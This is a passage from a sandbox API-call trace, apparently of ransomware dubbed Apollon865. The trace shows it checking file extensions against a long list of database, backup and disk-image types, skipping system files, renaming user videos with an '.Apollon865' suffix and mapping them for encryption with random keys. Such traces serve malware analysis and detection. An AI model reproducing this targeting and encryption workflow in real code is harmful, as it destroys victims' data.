	[0086.699] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.699] lstrlenW (lpString="his") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.699] lstrlenW (lpString="ib") returned 2
	[0086.699] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.699] lstrlenW (lpString="idb") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.699] lstrlenW (lpString="ihx") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.699] lstrlenW (lpString="itdb") returned 4
	[0086.699] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.700] lstrlenW (lpString="itw") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.700] lstrlenW (lpString="jet") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.700] lstrlenW (lpString="jtx") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.700] lstrlenW (lpString="kdb") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.700] lstrlenW (lpString="kexi") returned 4
	[0086.700] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.700] lstrlenW (lpString="kexic") returned 5
	[0086.700] lstrcmpiW (lpString1="i.flv", lpString2="kexic") returned -1
	[0086.700] lstrlenW (lpString="kexis") returned 5
	[0086.700] lstrcmpiW (lpString1="i.flv", lpString2="kexis") returned -1
	[0086.700] lstrlenW (lpString="lgc") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.700] lstrlenW (lpString="lwx") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.700] lstrlenW (lpString="maf") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.700] lstrlenW (lpString="maq") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.700] lstrlenW (lpString="mar") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.700] lstrlenW (lpString="marshal") returned 7
	[0086.700] lstrcmpiW (lpString1="avi.flv", lpString2="marshal") returned -1
	[0086.700] lstrlenW (lpString="mas") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.700] lstrlenW (lpString="mav") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.700] lstrlenW (lpString="maw") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.700] lstrlenW (lpString="mdbhtml") returned 7
	[0086.700] lstrcmpiW (lpString1="avi.flv", lpString2="mdbhtml") returned -1
	[0086.700] lstrlenW (lpString="mdn") returned 3
	[0086.700] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.701] lstrlenW (lpString="mdt") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.701] lstrlenW (lpString="mfd") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.701] lstrlenW (lpString="mpd") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.701] lstrlenW (lpString="mrg") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.701] lstrlenW (lpString="mud") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.701] lstrlenW (lpString="mwb") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.701] lstrlenW (lpString="myd") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.701] lstrlenW (lpString="ndf") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.701] lstrlenW (lpString="nnt") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.701] lstrlenW (lpString="nrmlib") returned 6
	[0086.701] lstrcmpiW (lpString1="vi.flv", lpString2="nrmlib") returned 1
	[0086.701] lstrlenW (lpString="ns2") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.701] lstrlenW (lpString="ns3") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.701] lstrlenW (lpString="ns4") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.701] lstrlenW (lpString="nsf") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.701] lstrlenW (lpString="nv") returned 2
	[0086.701] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.701] lstrlenW (lpString="nv2") returned 3
	[0086.701] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.701] lstrlenW (lpString="nwdb") returned 4
	[0086.701] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.701] lstrlenW (lpString="nyf") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.702] lstrlenW (lpString="odb") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.702] lstrlenW (lpString="odb") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.702] lstrlenW (lpString="oqy") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.702] lstrlenW (lpString="ora") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.702] lstrlenW (lpString="orx") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.702] lstrlenW (lpString="owc") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.702] lstrlenW (lpString="p96") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.702] lstrlenW (lpString="p97") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.702] lstrlenW (lpString="pan") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.702] lstrlenW (lpString="pdb") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.702] lstrlenW (lpString="pdm") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.702] lstrlenW (lpString="pnz") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.702] lstrlenW (lpString="qry") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.702] lstrlenW (lpString="qvd") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.702] lstrlenW (lpString="rbf") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.702] lstrlenW (lpString="rctd") returned 4
	[0086.702] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.702] lstrlenW (lpString="rod") returned 3
	[0086.702] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.702] lstrlenW (lpString="rodx") returned 4
	[0086.703] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.703] lstrlenW (lpString="rpd") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
	[0086.703] lstrlenW (lpString="rsd") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.703] lstrlenW (lpString="sas7bdat") returned 8
	[0086.703] lstrcmpiW (lpString1="Zavi.flv", lpString2="sas7bdat") returned 1
	[0086.703] lstrlenW (lpString="sbf") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.703] lstrlenW (lpString="scx") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.703] lstrlenW (lpString="sdb") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.703] lstrlenW (lpString="sdc") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.703] lstrlenW (lpString="sdf") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.703] lstrlenW (lpString="sis") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.703] lstrlenW (lpString="spq") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.703] lstrlenW (lpString="te") returned 2
	[0086.703] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.703] lstrlenW (lpString="teacher") returned 7
	[0086.703] lstrcmpiW (lpString1="avi.flv", lpString2="teacher") returned -1
	[0086.703] lstrlenW (lpString="tmd") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.703] lstrlenW (lpString="tps") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.703] lstrlenW (lpString="trc") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.703] lstrlenW (lpString="trc") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.703] lstrlenW (lpString="trm") returned 3
	[0086.703] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.703] lstrlenW (lpString="udb") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.704] lstrlenW (lpString="udl") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.704] lstrlenW (lpString="usr") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.704] lstrlenW (lpString="v12") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.704] lstrlenW (lpString="vis") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.704] lstrlenW (lpString="vpd") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.704] lstrlenW (lpString="vvv") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.704] lstrlenW (lpString="wdb") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.704] lstrlenW (lpString="wmdb") returned 4
	[0086.704] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.704] lstrlenW (lpString="wrk") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.704] lstrlenW (lpString="xdb") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.704] lstrlenW (lpString="xld") returned 3
	[0086.704] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.704] lstrlenW (lpString="xmlff") returned 5
	[0086.704] lstrcmpiW (lpString1="i.flv", lpString2="xmlff") returned -1
	[0086.704] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\-ykLo9035QfZavi.flv.Apollon865") returned 73
	[0086.704] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\-ykLo9035QfZavi.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\-yklo9035qfzavi.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\-ykLo9035QfZavi.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\-yklo9035qfzavi.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\-ykLo9035QfZavi.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\-yklo9035qfzavi.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.706] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=12705) returned 1
	[0086.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.706] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.707] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.707] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.707] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34b0, lpName=0x0) returned 0x15c
	[0086.707] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34b0) returned 0x100000
	[0086.708] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.709] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.709] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.709] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.710] CloseHandle (hObject=0x15c) returned 1
	[0086.710] CloseHandle (hObject=0x9c) returned 1
	[0086.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.711] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dac01e0, ftCreationTime.dwHighDateTime=0x1d4c886, ftLastAccessTime.dwLowDateTime=0x4afbfb70, ftLastAccessTime.dwHighDateTime=0x1d4c84a, ftLastWriteTime.dwLowDateTime=0x4afbfb70, ftLastWriteTime.dwHighDateTime=0x1d4c84a, nFileSizeHigh=0x0, nFileSizeLow=0x6c4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CTJo.swf", cAlternateFileName="")) returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="Apollon865.txt.exe") returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2=".") returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="..") returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="windows") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="bootmgr") returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="temp") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="pagefile.sys") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="boot") returned 1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="ids.txt") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="ntuser.dat") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="perflogs") returned -1
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2="MSBuild") returned -1
	[0086.712] lstrlenW (lpString="CTJo.swf") returned 8
	[0086.712] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\-ykLo9035QfZavi.flv") returned 62
	[0086.712] lstrcpyW (in: lpString1=0x119e65e, lpString2="CTJo.swf" | out: lpString1="CTJo.swf") returned="CTJo.swf"
	[0086.712] lstrlenW (lpString="CTJo.swf") returned 8
	[0086.712] lstrlenW (lpString="Apollon865") returned 10
	[0086.712] lstrlenW (lpString=".dll") returned 4
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2=".dll") returned 1
	[0086.712] lstrlenW (lpString=".lnk") returned 4
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2=".lnk") returned 1
	[0086.712] lstrlenW (lpString=".ini") returned 4
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2=".ini") returned 1
	[0086.712] lstrlenW (lpString=".sys") returned 4
	[0086.712] lstrcmpiW (lpString1="CTJo.swf", lpString2=".sys") returned 1
	[0086.712] lstrlenW (lpString="CTJo.swf") returned 8
	[0086.712] lstrlenW (lpString="bak") returned 3
	[0086.712] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1
	[0086.712] lstrlenW (lpString="ba_") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1
	[0086.713] lstrlenW (lpString="dbb") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1
	[0086.713] lstrlenW (lpString="vmdk") returned 4
	[0086.713] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1
	[0086.713] lstrlenW (lpString="rar") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1
	[0086.713] lstrlenW (lpString="zip") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1
	[0086.713] lstrlenW (lpString="tgz") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1
	[0086.713] lstrlenW (lpString="vbox") returned 4
	[0086.713] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1
	[0086.713] lstrlenW (lpString="vdi") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1
	[0086.713] lstrlenW (lpString="vhd") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1
	[0086.713] lstrlenW (lpString="vhdx") returned 4
	[0086.713] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1
	[0086.713] lstrlenW (lpString="avhd") returned 4
	[0086.713] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1
	[0086.713] lstrlenW (lpString="db") returned 2
	[0086.713] lstrcmpiW (lpString1="wf", lpString2="db") returned 1
	[0086.713] lstrlenW (lpString="db2") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1
	[0086.713] lstrlenW (lpString="db3") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1
	[0086.713] lstrlenW (lpString="dbf") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1
	[0086.713] lstrlenW (lpString="mdf") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1
	[0086.713] lstrlenW (lpString="mdb") returned 3
	[0086.713] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1
	[0086.714] lstrlenW (lpString="sql") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1
	[0086.714] lstrlenW (lpString="sqlite") returned 6
	[0086.714] lstrcmpiW (lpString1="Jo.swf", lpString2="sqlite") returned -1
	[0086.714] lstrlenW (lpString="sqlite3") returned 7
	[0086.714] lstrcmpiW (lpString1="TJo.swf", lpString2="sqlite3") returned 1
	[0086.714] lstrlenW (lpString="sqlitedb") returned 8
	[0086.714] lstrlenW (lpString="xml") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1
	[0086.714] lstrlenW (lpString="$er") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1
	[0086.714] lstrlenW (lpString="4dd") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1
	[0086.714] lstrlenW (lpString="4dl") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1
	[0086.714] lstrlenW (lpString="^^^") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1
	[0086.714] lstrlenW (lpString="abs") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1
	[0086.714] lstrlenW (lpString="abx") returned 3
	[0086.714] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1
	[0086.714] lstrlenW (lpString="accdb") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accdb") returned 1
	[0086.714] lstrlenW (lpString="accdc") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accdc") returned 1
	[0086.714] lstrlenW (lpString="accde") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accde") returned 1
	[0086.714] lstrlenW (lpString="accdr") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accdr") returned 1
	[0086.714] lstrlenW (lpString="accdt") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accdt") returned 1
	[0086.714] lstrlenW (lpString="accdw") returned 5
	[0086.714] lstrcmpiW (lpString1="o.swf", lpString2="accdw") returned 1
	[0086.714] lstrlenW (lpString="accft") returned 5
	[0086.715] lstrcmpiW (lpString1="o.swf", lpString2="accft") returned 1
	[0086.715] lstrlenW (lpString="adb") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.715] lstrlenW (lpString="adb") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.715] lstrlenW (lpString="ade") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1
	[0086.715] lstrlenW (lpString="adf") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1
	[0086.715] lstrlenW (lpString="adn") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1
	[0086.715] lstrlenW (lpString="adp") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1
	[0086.715] lstrlenW (lpString="alf") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1
	[0086.715] lstrlenW (lpString="ask") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1
	[0086.715] lstrlenW (lpString="btr") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1
	[0086.715] lstrlenW (lpString="cat") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1
	[0086.715] lstrlenW (lpString="cdb") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1
	[0086.715] lstrlenW (lpString="ckp") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1
	[0086.715] lstrlenW (lpString="cma") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1
	[0086.715] lstrlenW (lpString="cpd") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1
	[0086.715] lstrlenW (lpString="dacpac") returned 6
	[0086.715] lstrcmpiW (lpString1="Jo.swf", lpString2="dacpac") returned 1
	[0086.715] lstrlenW (lpString="dad") returned 3
	[0086.715] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1
	[0086.715] lstrlenW (lpString="dadiagrams") returned 10
	[0086.715] lstrlenW (lpString="daschema") returned 8
	[0086.715] lstrlenW (lpString="db-journal") returned 10
	[0086.716] lstrlenW (lpString="db-shm") returned 6
	[0086.716] lstrcmpiW (lpString1="Jo.swf", lpString2="db-shm") returned 1
	[0086.716] lstrlenW (lpString="db-wal") returned 6
	[0086.716] lstrcmpiW (lpString1="Jo.swf", lpString2="db-wal") returned 1
	[0086.716] lstrlenW (lpString="dbc") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1
	[0086.716] lstrlenW (lpString="dbs") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1
	[0086.716] lstrlenW (lpString="dbt") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1
	[0086.716] lstrlenW (lpString="dbv") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1
	[0086.716] lstrlenW (lpString="dbx") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1
	[0086.716] lstrlenW (lpString="dcb") returned 3
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1
	[0086.716] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1
	[0086.717] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1
	[0086.717] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\CTJo.swf.Apollon865") returned 62
	[0086.717] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\CTJo.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\ctjo.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\CTJo.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\ctjo.swf.apollon865"), dwFlags=0x1) returned 1
	[0086.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\CTJo.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\ctjo.swf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.718] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=27726) returned 1
	[0086.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.719] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.719] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.719] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.720] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f50, lpName=0x0) returned 0x15c
	[0086.720] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f50) returned 0x100000
